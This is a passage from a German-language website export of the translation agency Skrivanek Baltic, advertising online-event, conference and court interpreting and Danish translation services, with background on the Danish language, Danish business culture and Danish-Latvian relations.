anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Müssen Sie eine virtuelle Konferenz, bei der die Teilnehmer mehrere Fremdsprachen sprechen? Unsere Fachleute werden Ihnen helfen! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/tiessaistes-pasakumu-rikosana/ - Translation Priorities: Optional So wie sich die Welt verändert, verändern wir uns mit ihr. Seit einiger Zeit sind persönliche Treffen, Seminare und Konferenzen durch das digitale Leben ersetzt worden. Sogar Preisverleihungen und Firmenveranstaltungen werden online abgehalten! Um eine erfolgreiche Online-Veranstaltungen durchzuführen, lohnt es sich, professionelle Hilfe in Anspruch zu nehmen. Skrivanek Baltikum ist Ihr erfahrener Partner bei der Organisation verschiedener Veranstaltungen und hat sich derzeit auf Online-Veranstaltungen auf der Zoom-Plattform spezialisiert. Mit unserer Hilfe können Sie damit rechnen, dass ihre Online-Veranstaltung genauso reibungslos verläuft, wie eine vor Ort. Und das wichtigste ist, dass wir durch unsere Erfahrung in einem internationalem und mehrsprachigen Umfeld wirken können. Müssen Sie eine virtuelle Konferenz, bei der die Teilnehmer mehrere Fremdsprachen sprechen? Stehen wichtige Geschäftstreffen vor der Tür, an denen sowohl Ihre Mitarbeiter als auch Vertreter Ihrer Partner teilnehmen müssen? Haben Sie einen wichtigen Gast, der nur seine Muttersprache spricht, aber von allen Mitarbeitern in einem Zoom-Meeting verstanden werden muss? Möchten Sie vielleicht einfach nur die Laune Ihres tollen Teams erheitern und eine Abendfeier veranstalten, bei der alle zu Hause bleiben und gemeinsam online Spaß haben? Unsere Fachleute helfen Ihnen in jeder der oben genannten Situationen und schaffen ein effektives Veranstaltungsszenario für jeden Anlass. Die Leitung von jeder Veranstaltung kann eine Herausforderung sein, aber besonders schwierig ist sie bei virtuellen Veranstaltungen, bei denen es keinen echten Blickkontakt und keine Reaktion des Publikums gibt. Wir bieten Ihnen eine professionelle Veranstaltungsleitung oder, wenn Sie es selbst machen möchten, eine Anleitung, wie Sie eine Online-Veranstaltungen selbst veranstalten können. Sie brauchen sich nicht um das Technische kümmern, das übernehmen wir für Sie - wir organisieren die Online-Veranstaltungen und teilen die Teilnehmer bei Bedarf in einzelne Gruppen ein. Wir bieten sowohl Konsekutiv- als auch Simultandolmetschen über Zoom an. Wenn Sie die Veranstaltung aufzeichnen möchten, stellen wir Ihnen auch dies zur Verfügung - Sie erhalten bei Bedarf Video- und Audiodateien der Veranstaltungsinhalte sowie einen Link zu Video und Soundtrack der Veranstaltung. Video und Audio werden in einem bereits bearbeiteten Format zur Verfügung gestellt, wobei der Inhalt nicht verändert wird, aber die unnötigen Pausen am Anfang oder Ende der Aufnahme entfernt werden. Wenn Sie einen Simultandolmetscher einsetzen, können wir eine Sprache Ihrer Wahl in das Video aufnehmen. Als Sprachspezialisten bieten wir Übersetzungs- und Dolmetscherdienste für mehr als 110 Sprachen an - wir machen Kommunikation so einfach wie nie zuvor! Bei Bedarf erstellen wir einen Bericht über die Aktivitäten der Teilnehmer, einschließlich der Dauer ihrer Verbindung, und stellen eine Textabschrift der Veranstaltungs-Chaträume zur Verfügung. Und wenn sich jemand Sorgen um seine Bildschirmdarstellung macht, fügen wir die Option für Zoom Live hinzu, um das Video des Teilnehmers zu verbessern! HÄUFIG GESTELLTE FRAGEN Skrivanek Baltic ist ein zertifiziertes Übersetzungsbüro, das seit 2003 in Lettland agiert und Sprachdienstleistungen von höchster Qualität anbietet. Skrivanek ist einer der größten Sprachdienstleister der Welt, mit mehr als 25 Jahren Erfahrung. Derzeit haben wir fast 50 Niederlassungen in Ländern wie: USA, Österreich, Belgien, Bulgarien, Tschechische Republik, Estland, Litauen, Polen, Slowakei, Slowenien und Deutschland. Die Skrivanek Baltic Sprachschule wurde 2007 eröffnet und bietet sowohl Kindern als auch Erwachsenen die Möglichkeit, mit Hilfe hochqualifizierter und sachkundiger Dozenten ihre Fremdsprachenkenntnisse zu verbessern oder neue zu erwerben sowie detaillierte Informationen über Sprachen zu erhalten. Wir bieten eine Vielzahl von Sprachlösungen an - Übersetzungs- und Dolmetscherdienste, Lokalisierungsdienste, Textadaption, Copywriting, DTP und Sprachtraining. Verdolmetschungen werden bei Konferenzen und Geschäftstreffen sowie bei Gerichtsverfahren angeboten. Das Übersetzen umfasst Fachübersetzungen und allgemeine Übersetzungen in einer Vielzahl von Branchen. Beide sind Sprachexperten, aber der Unterschied liegt darin, dass Übersetzer schriftliche Übersetzungen, während Dolmetscher mündliche Übersetzungen liefern, entweder konsekutiv oder simultan. SIE BENÖTIGEN EINEN DOLMETSCHER ODER HILFE BEI DER ORGANISATION EINER ONLINE-VERANSTALTUNG? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Anfrage senden SEIT MEHR ALS 25 JAHREN AUF DEM MARKT! Wir haben große Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2023 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Professionelles Dolmetschen ist der Schlüssel für eine absolut erfolgreiche Konferenz! Konferenzdolmetschen und Organisation. Kontaktieren Sie uns! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/konferencu-tulkosana/ - Translation Priorities: Optional Beim Konferenzdolmetschen dreht sich alles um die mündliche Kommunikation: den gesprochenen Text von einer Sprache in eine andere natürlich und fließend zu übertragen, die Botschaft anzupassen und die Intonation und die Haltung des Sprechers auf andere Personen zu übertragen. An internationalen Konferenzen nehmen Menschen mit unterschiedlichem kulturellen, Sprachkenntnissen und sprachlichen Hintergründen teil. Die Aufgabe des Dolmetschers besteht darin, die Kommunikation zu erleichtern, indem er nicht einzelne Wörter sondern Kerngedanken, also die Botschaft, dolmetscht. UNSERE MEIST ANGEFRAGTEN BEREICHE DES KONFERENZDOLMETSCHENS: Steuern und Schattenwirtschaft; EU-Politik und landesübergreifende Zusammenarbeit; Bauwesen; Finanz- und Bankwesen; Informationstechnologien; Recht; Landwirtschaft; Medizin; Arzneimittel; klinische Versuche; Immobilien; Telekommunikation; usw. UNSERE ANGEBOTE: professionelle Simultandolmetscher mit den erforderten Sprachkenntnissen, die in 30-Minuten-Schichten arbeiten Ausrüstung, wie Dolmetscherkabinen, Kopfhörer, Sender und technische Unterstützung Wir unterstützen und beraten Sie zu jeder Phase Ihrer Veranstaltung: Dolmetschen, Desktop-Publishing (DTP), Druck von Konferenzunterlagen und Einladungen, Installation von Konferenztechnik, Hotelbuchung und Unterbringung von Gästen, Catering und Festessen, Ausflüge in der Stadt usw. professionelle Beratung bei der Organisation von Konferenzen, Symposien, Kongressen und Schulungen UNSERE MEIST ANGEFRAGTEN SPRACHKOMBINATIONEN FÜR DAS KONFERENZDOLMETSCHEN: Lettisch-Englisch; Deutsch-Lettisch; Lettisch-Deutsch; Litauisch-Lettisch; Englisch-Lettisch; Estnisch-Englisch; Englisch-Estnisch; Litauisch-Englisch; Englisch-Litauisch; Russisch-Englisch; Englisch-Russisch und andere. SIE SUCHEN EINEN DOLMETSCHERDIENST ODER EINE BERATUNG? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Anfrage senden Oder buchen Sie jetzt eine Online-Beratung! ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  SEIT MEHR ALS 25 JAHREN AUF DEM MARKT! Wir verfügen über umfangreiche Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2023 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate --- > Wir bieten Dolmetschen bei Gerichtsverhandlungen an. Unsere Dolmetscher sind erfahren und mit der juristischen Terminologie bestens vertraut. Kontaktieren Sie uns! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/tiesas-sezu-tulkosana/ - Translation Priorities: Optional Wenn Sie einen Dolmetscher bei einem Gerichtsverfahren benötigen, ist es wichtig, dass der Dolmetscher nicht nur in der Lage ist, das Gesagte zu dolmetschen, sondern auch mit Rechtsangelegenheiten, der Terminologie und den Verfahren vertraut ist. Im Team von Skrivanek Baltikum sind Dolmetscher, die auf das Dolmetschen von Gerichtsverfahren spezialisiert sind. Gerichtsdolmetschen muss unbedingt von Fachleuten übernommen werden, da es für Personen ohne entsprechende Ausbildung und Erfahrung mit dem Verfahren und der Fachterminologie zu überfordernd ist. Scheidungen, Schadensersatz, Arbeitsrechtsstreitigkeiten, ausstehende Verpflichtungen und Immobilienangelegenheiten sind nur einige der Gerichtsverfahren mit ihrer jeweiligen Fachterminologie, an denen unsere Dolmetscher regelmäßig teilnehmen. Bei der juristischen Fachsprache kommt es auf Präzision an, daher muss das Gerichtsdolmetschen so präzise wie möglich sein. UNSERE MEIST ANGEFRAGTEN SPRACHKOMBINATIONEN FÜR DAS GERICHTSDOLMETSCHEN: Lettisch-Englisch-Lettisch; Estnisch-Lettisch-Estnisch; Litauisch-Lettisch-Litauisch; Russisch-Englisch-Russisch; Schwedisch-Lettisch-Schwedisch; Spanisch-Lettisch-Spanisch; Russisch-Lettisch-Russisch und andere. SUCHEN SIE NACH ÜBERSETZUNGSDIENSTLEISTUNGEN ODER BERATUNG? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Anfrage senden Oder buchen Sie jetzt eine Online-Beratung! SEIT MEHR ALS 25 JAHREN AUF DEM MARKT! Wir verfügen über umfangreiche Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2023 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate ZUVERLÄSSIGKEIT, SCHNELLIGKEIT UND QUALITATIVER SERVICE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Allgemeine und fachspezifische Übersetzungen in dänischer Sprache. Dolmetschen und andere Dienstleistungen für die dänische Sprache. Kontaktieren Sie uns! - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-danu-valoda/ - Translation Priorities: Optional DOLMETSCHEN UND ÜBERSETZEN INS DÄNISCHE WIE VIEL KOSTEN ÜBERSETZUNGEN INS DÄNISCHE? Der Preis für Übersetzungen ins und vom Dänischen unterscheidet sich von Auftrag zu Auftrag. Der Preis für das Konsekutiv- oder Simultandolmetschen richtet sich nach Zeit, Ort, Reisekosten, Tagessätzen, Kosten für die technische Ausrüstung usw. und wird von mehreren wichtigen Faktoren bestimmt, die nur durch die Sichtung des Materials selbst ermittelt werden können. Bei schriftlichen Übersetzungen richtet sich der Preis nach dem Umfang des zu übersetzenden Materials, der Abgabefrist, dem genauen Inhalt des Textes, Wiederholungen im Text, der grafischen Bearbeitung und Formatierung des Textes, dem Korrekturlesen sowie den vom Kunden gewählten Zusatzleistungen. GIBT ES EINE PREISLISTE FÜR ÜBERSETZUNGEN? Selbstverständlich ist die Preisliste für Übersetzungen und Dolmetscherleistungen (simultan und konsekutiv), Lokalisierungen und Adaptionen vom und ins Dänische ein fester Bestandteil unserer Kundenverträge. Die Projektmanager von Skrivanek erstellen vor Beginn eines jeden Übersetzungsprojekts detaillierte Informationen über den Preis einer Übersetzung. Wir freuen uns auf die Zusendung Ihrer übersetzten Unterlagen per E-Mail um den Preis zu berechnen. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Dänische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere Dienstleistungen in dänischer Sprache umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Suchen Sie nach Sprachdienstleistungen in Dänisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiertUnsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE DÄNISCHE SPRACHE UND MEHR Dänisch gehört zum ostskandinavischen Zweig der nordgermanischen Sprachen. Es begann sich um das Jahr 1000 n. Chr. von den anderen skandinavischen Sprachen zu lösen, mit denen sie eng verwandt ist. Die ältesten dänischen Schriften sind Runeninschriften aus den Jahren 250-800 n. Chr. , die in Jütland und Südschweden gefunden wurden und die ältesten Handschriften in dänischer Sprache stammen aus dem 13. Jahrhundert. Dänisch hatte unter den skandinavischen Sprachen die meisten Veränderungen, da es sich als eigenständige Sprache aus dem Altnordischen entwickelt hat. Zusammen mit anderen nordgermanischen Sprachen ist Dänisch ein Nachkomme des Altnordischen, die einheitliche Sprache der germanischen Völker, die während der Wikingerzeit in Skandinavien lebten. Dänisch stammt zusammen mit Schwedisch aus der ostnordischen Dialektgruppe, während die nordische Sprache (vor dem dänischen Einfluss) und das norwegische Bokmål zusammen mit dem Färöischen und dem Isländischen als westnordisch eingestuft werden. Die neueste Klassifizierung, die auf gegenseitigem Verständnis beruht, ordnet das moderne gesprochene Dänisch, Norwegisch und Schwedisch den „kontinentalskandinavischen Sprachen“ zu, während Isländisch und Färöisch als „inselskandinavischen Sprache“ eingestuft werden. Obwohl die Schriftsprachen kompatibel sein können, unterscheidet sich das gesprochene Dänisch deutlich vom Norwegischen und Schwedischen, weswegen Dänischsprachige die beiden anderen Sprachen je nach Region und Sprecher unterschiedlich viel verstehen. Dänisch ist in Wortschatz und Grammatik eng mit dem Englischen und Deutschen verwandt. Dänisch, Schwedisch und die beiden norwegischen Sprachen(Bokmål und Nynorsk) können jedoch als Dialekte derselben Sprache angesehen werden. Die Sprache, die dem Dänischen am ähnlichsten ist, ist das norwegische Bokmål, das dänischsprachige Menschen ohne Schwierigkeiten verstehen können, mit etwas Mühe aber auch Schwedisch. Isländisch und Färöisch hingegen sind für Dänischsprachige nicht einfach so verständlich. Hans Christian Andersen schrieb seine Märchen auf Dänisch. Im Dänischen gibt es kein Wort für „bitte“. Stattdessen wird durch Gestik Höflichkeit zum Ausdruck gebracht. In Dänemark regeln mehrere Ministerien die Namensgebung für Kinder, um sicherzustellen, dass die Eltern ihnen keine seltsamen, unbedachten oder gar dummen Namen geben. Die dänische Kultur achtet mehr auf die Gleichheit der Bürgerinnen und Bürger und nicht darauf, in welche Familie sie hineingeboren wurden, weshalb die Namenswahl ziemlich einheitlich ist. Die Eltern haben die Möglichkeit, aus mehr als 7000 genehmigten Jungen- und Mädchennamen zu wählen. Im Jahr 2016 wurde Dänemark von den Vereinten Nationen als das glücklichste Land der Welt eingestuft. Bis heute haben sie diesen Platz gehalten. In Dänemark sind Fledermäuse gesetzlich geschützt, man darf sie nicht töten oder aus dem Haus vertreiben. DAS DÄNISCHE ALPHABET Die ältesten erhaltenen Beispiele dänischer Schriften (aus der Eisen- und Wikingerzeit) sind in Runen verfasst. Mit dem Christentum kam auch die lateinische Schrift nach Dänemark und im Hochmittelalter waren die Runen weitgehend durch lateinische Buchstaben ersetzt worden. Das dänisch-norwegische Alphabet basiert auf dem lateinischen Alphabet. Seit 1917 im Norwegischen und seit 1948 im Dänischen besteht das Alphabet aus 29 Buchstaben - alle 23 lateinischen Buchstaben sowie J, W, U, Æ, Ø und Å. In beiden Sprachvarianten gibt es 35 Phoneme: neun Vokale i, e, æ, a, å, o, u, y, ø; sechs Diphthonge au, ei, øy (Altnordisch), oi, ui (Entlehnung), ai; 20 Konsonanten b, c, d, f, g, h, j, k, l, m, n, p, q, r, s, t, v, w, x, z. Alle Vokale können sowohl kurz als auch lang ausgesprochen werden. Die Buchstaben C, Q, W und Z werden nicht für die Schreibweise einheimischer Wörter verwendet. Die dänische Sprache neigt dazu, die ursprüngliche Schreibweise von Lehnwörtern beizubehalten. Insbesondere wird der Buchstabe c im Dänischen fast nie zu s umgeändert. Viele Wörter, die ursprünglich aus dem Lateinischen stammen, behalten den Buchstaben c in der dänischen Schreibweise bei. Die Schrift folgt phonetischen und etymologischen Grundlagen und verwendet das lateinische Alphabet mit den drei Vokalen æ, ø, å. Der Buchstabe å wurde 1948 im Zuge der Rechtschreibreform in die Rechtschreibung eingeführt und ersetzte den Buchstaben aa. Der neue Buchstabe stammt aus dem schwedischen Alphabet, das seit dem 16. Jahrhundert verwendet wird. Heutzutage ist diese Buchstabenkombination auch in den Namen der Menschen eingebaut worden. Der Unterschied zwischen dem dänisch-norwegischen und dem schwedischen Alphabet besteht darin, dass im Schwedischen anstelle von ä ein æ und anstelle von ø ein ö verwendet wird, ähnlich wie im Deutschen. Heutzutage wird im Dänischen und Norwegischen der Buchstabe w als eigenständiger Buchstabe neben dem v anerkannt. WIE SCHWIERIG IST DÄNISCH? Bei dieser Frage scheiden sich die Geister der Sprachwissenschaftler. Die eine Seite ist der Meinung, dass Dänisch leicht zu lernen ist, insbesondere für Englisch- und Deutschsprachige. Andere vertreten die Ansicht, dass die dänische Grammatik ziemlich komplex ist. Die geschriebene dänische Sprache ist nicht schwer zu verstehen und zu lernen, aber die gesprochene Sprache ist schwieriger, da die Dänen die Wörter verkürzt aussprechen und manchmal sogar Wörter in einem Satz zusammenfügen. Die dänische Schriftsprache unterscheidet sich in nahezu allen Fällen von der Aussprache. Interessanterweise glauben die Dänen selbst, dass die einzige Person, die perfekt Dänisch spricht, die dänische Königin Margrethe II. ist. Man geht davon aus, dass man Dänisch in anderthalb Jahren lernen kann, wenn man sich täglich eine Stunde Zeit dafür nimmt. Es sind also 575 bis 600 Unterrichtsstunden erforderlich, was etwa 23 bis 24 Wochen Vollzeitstudium bedeutet. WO UND WIE VIELE MENSCHEN SPRECHEN DÄNISCH? Weltweit gibt es 5,6 Millionen dänischsprachige Menschen. Dänisch ist die Amtssprache in Dänemark und auf den Färöern. Die Sprache wird auch in Grönland, Island und Deutschland gesprochen. Relativ große dänischsprachige Gemeinschaften gibt es auch in Argentinien, den USA und Kanada. In Grönland lernen die Kinder Dänisch in der Schule und die 56. 000 Einwohner von Grönland sprechen Dänisch als Zweitsprache. Dänisch wird auf den Färöern von fast 50. 000 Menschen als Zweitsprache gesprochen. In Norddeutschland gibt es fast 50. 000 Menschen, deren Muttersprache Dänisch ist. In Schweden und Norwegen gibt es kleine dänischsprachige Gemeinden. Viele Menschen in Island verfügen über Grundkenntnisse der dänischen Sprache und ein großer Teil der Bevölkerung spricht diese Sprache fließend. Von den 350. 000 Einwohnern Islands sind etwas mehr als 1000 dänische Muttersprachler. Im 19. Jahrhundert wanderte viele Dänen auf Suche nach neuen Arbeitsmöglichkeiten und Erfolg ins Ausland aus. Viele von ihnen blieben dort für immer und gründeten neue Gemeinschaften, und kehrten nie wieder zurück. Heutzutage sind etwas 1,4 Millionen Amerikaner von dänischer Abstammung. Das Gleiche gilt für 170. 000 Kanadier, 140. 000 Brasilianer, 100. 000 Australier und 50. 000 Argentinier. Fast alle dänischen Migranten haben jedoch etwas gemeinsam: sie haben sich so sehr assimiliert, dass sie die dänische Kultur und Sprache vergessen haben. Von den 1,4 Millionen Amerikanern dänischer Abstammung sprechen weniger als 30. 000 Dänisch. Das sind etwa 2 %. DOLMETSCHER UND ÜBERSETZER FÜR DIE DÄNISCHE SPRACHE Das Übersetzer- und Dolmetscherteam von Skrivanek arbeitet mit Übersetzungen von Standarddokumenten, komplexen technischen und beglaubigten Übersetzungen. Wir bieten auch das Korrekturlesen und die stilistische Verbesserung von Texten auf Dänisch an. Unsere Sprachexperten klären Sie gerne über kulturelle Unterschiede, Geschäftsetikette, Geschichte und Traditionen auf. Alle Übersetzer, Dolmetscher, Korrekturleser und Redakteure von Skrivanek sind sich ihrer Verantwortung bei der Arbeit mit vertraulichen Inhalten bewusst und haben strenge Vertraulichkeitsvereinbarungen unterzeichnet, so dass Sie uns Ihre übersetzten Originaltexte bedenkenlos anvertrauen können. Für Geschäftskunden sind unsere häufigsten Übersetzungen vom und ins Dänische Übersetzungen in den Bereichen digitales Marketing, E-Commerce-Inhalte und Website-Übersetzungen, Adaptionen von Werbeslogans, juristische Übersetzungen, Verträge und Übersetzungen von Geschäftsunterlagen. Wir bieten auch Konsekutiv- und Simultandolmetschen für geschäftliche oder andere Unterhaltungen, Konferenzen und weniger formelle Veranstaltungen. Wir bieten auch Konsekutiv- und Simultandolmetschen online auf Zoom oder einer anderen Plattform an. Für Privatpersonen übersetzen wir Ausweisdokumente, Heiratsurkunden, Geburtsurkunden von Kindern, Bildungsdokumente, Reisepässe, medizinische Dokumente usw. DÄNISCH IN DER GESCHÄFTSWELT In Dänemark ist die geschäftliche Kommunikation genauso wichtig wie anderswo auf der Welt. Im Zeitalter der Globalisierung ist es wichtig, die Geschäftskommunikationskulturen verschiedener Länder zu kennen, wenn Ihr Unternehmen in verschiedenen Ländern tätig ist und Mitarbeiter aus der ganzen Welt beschäftigt. Eine gute Kommunikation ist nur von Vorteil und bringt Ihrem Unternehmen nur Gutes. WIE SIEHT DIE GESCHÄFTSKOMMUNIKATION IN DÄNEMARK AUS? Die geschäftliche Kommunikation mit Menschen aus Dänemark ist in der Regel informell, humorvoll und fröhlich, wobei die Dänen gleichzeitig eine professionelle Distanz bewahren. Sie werden nur selten hören, dass jemand nur sich selbst oder seine Fähigkeiten lobt. Ganz im Gegenteil: Die Menschen dort neigen dazu, ihre Rolle und ihre Qualifikation kleinzureden. Die geschäftliche Kommunikation in Dänemark ist bei Besprechungen einfach und in der Regel sind die Dänen konservativ und effektiv. Am Anfang können dänische Geschäftsleute förmlich wirken, aber schon bald zeigen sie ihre lockere Seite. Die meisten Dänen sprechen mit ihren Kollegen ganz locker über ihr Privatleben. Sie sprechen über ihre Familie und darüber, was sie im Urlaub und in ihrer Freizeit machen. Dänisch, Schwedisch und Norwegisch sind sich sehr ähnlich und diese Sprachen werden in allen drei Ländern von allen verstanden. Englisch wird in der Grundschule als Pflichtsprache unterrichtet und wird von 80% der Einwohner gesprochen und verstanden. Englisch wird in den meisten großen Unternehmen als Unternehmenssprache verwendet. Man kann sogar sagen, dass Englisch für einige wie ihre Zweitsprache ist. Praktisch alle dänischen Unternehmer beherrschen die englische Sprache gut und Dolmetscher werden nur selten gebraucht. E-Mails werden häufig von Anfang an in Englisch verfasst, so dass sie ihre Mitarbeiter oder Partner aus anderen Ländern in die Korrespondenz einbeziehen können. In Dänemark ist Englisch die Hauptsprache in der Geschäftswelt. Aus diesem Grund spielt Dänisch als Geschäftssprache weder weltweit noch in Dänemark eine große Rolle. Aber wenn Sie einen dänischen Geschäftsmann in seiner Muttersprache grüßen, wird das nicht unbemerkt bleiben. Dänemark ist als einer der besten Wirtschaftsstandorte anerkannt worden. Dänemark beherbergt in mehreren Sektoren Unternehmen von Weltrang, wobei der Branche der erneuerbaren Energien besondere Aufmerksamkeit gewidmet wird. Mehr als 40 Jahre ehrgeiziger Energiepolitik haben dazu beigetragen, dass Dänemark bei CLEANTECH den ersten Platz belegt. Das Land hat sich außerdem zum Ziel gesetzt, bis 2050 komplett unabhängig von fossilen Brennstoffen zu werden. Die Innovation in der Lebensmittelindustrie gehört ebenfalls zu den Branchen, die auf nationaler und internationaler Ebene Auswirkungen haben. Die dänische Lebensmittelindustrie hat sehr hohe Qualitätsstandards und vorbildliche Hygiene- und Sicherheitsstandards. Kein Wunder, dass einige der besten Köche und Restaurants der Welt direkt in Dänemark zu finden sind. Gemessen an der betriebenen Tonnage ist es die sechstgrößte Schifffahrtsnation der Welt. Das dänische Unternehmen Maersk Line ist der größte Containerschiffsbetreiber der Welt. Die Geschäfts- und Arbeitsmöglichkeiten stehen also der ganzen Welt offen. ZUSAMMENARBEIT ZWISCHEN DÄNEMARK UND LETTLAND Die diplomatischen Beziehungen zwischen Dänemark und Lettland wurden am 7. Februar 1921 aufgenommen. Dänemark ist seit jeher einer der wichtigsten Wirtschaftspartner für Lettland. Die Bildungszusammenarbeit mit Dänemark wurde durch das Projekt der EU „Lebenslanges Lernen“, des nordisch-baltischen Bildungsprogramms Nordplus sowie durch Vereinbarungen zwischen einzelnen Bildungs- und Wissenschaftseinrichtungen realisiert. Die kulturelle Zusammenarbeit mit Dänemark wurde durch den direkten Austausch von kreativen Personen, Kollektiven und Studenten erreicht. Bei diesen Organisationen gibt es auch Verträge zwischen direkten Partnern. Das Dänische Kulturinstitut in Lettland spielt eine wichtige Rolle bei der Förderung der kulturellen Zusammenarbeit zwischen beiden Ländern. Dänemark hat eine wichtige Rolle bei der Entwicklung der lettischen Streitkräfte gespielt und war eines der führenden nordischen Länder bei der politischen Unterstützung und der Bereitstellung praktischer Hilfe für Lettland. Die Zusammenarbeit mit Dänemark erstreckte sich auf mehrere Projekte: Schutzplanung, Personalmanagement und -ausbildung, das NATO-Programm für Sicherheitsinvestitionen, Ingenieurausbildung, Militärmedizin, Umweltschutz, Such- und Rettungsdienste usw. Lettische Soldaten haben an der Seite dänischer Soldaten in Bosnien und Herzegowina und im Kosovo im Rahmen der KFOR-Mission gedient. Zur Vorbereitung auf ihre Einsätze haben lettische Soldaten an einer Ausbildung zur Einsatzvorbereitung in Dänemark teilgenommen. Die dänische Botschaft in Riga bietet Hilfe für dänische Staatsbürger und Einwohner, die sich in Lettland aufhalten, sowie für ausländische Einwohner, die nach Dänemark reisen möchten. Die Botschaft verfolgt auch die politischen und wirtschaftlichen Entwicklungen in Lettland und fördert die Zusammenarbeit zwischen den beiden Ländern in den Bereichen Militär, Verteidigung, Kultur und Bildung. Die Botschaft trägt auch dazu bei, Dänemarks Werte, Stärken und Kultur durch die allgemeine Verbreitung von Informationen in der lettischen Gesellschaft, der Öffentlichkeit und den sozialen Medien zu fördern. Bei der Verbreitung dieser Informationen werden auch 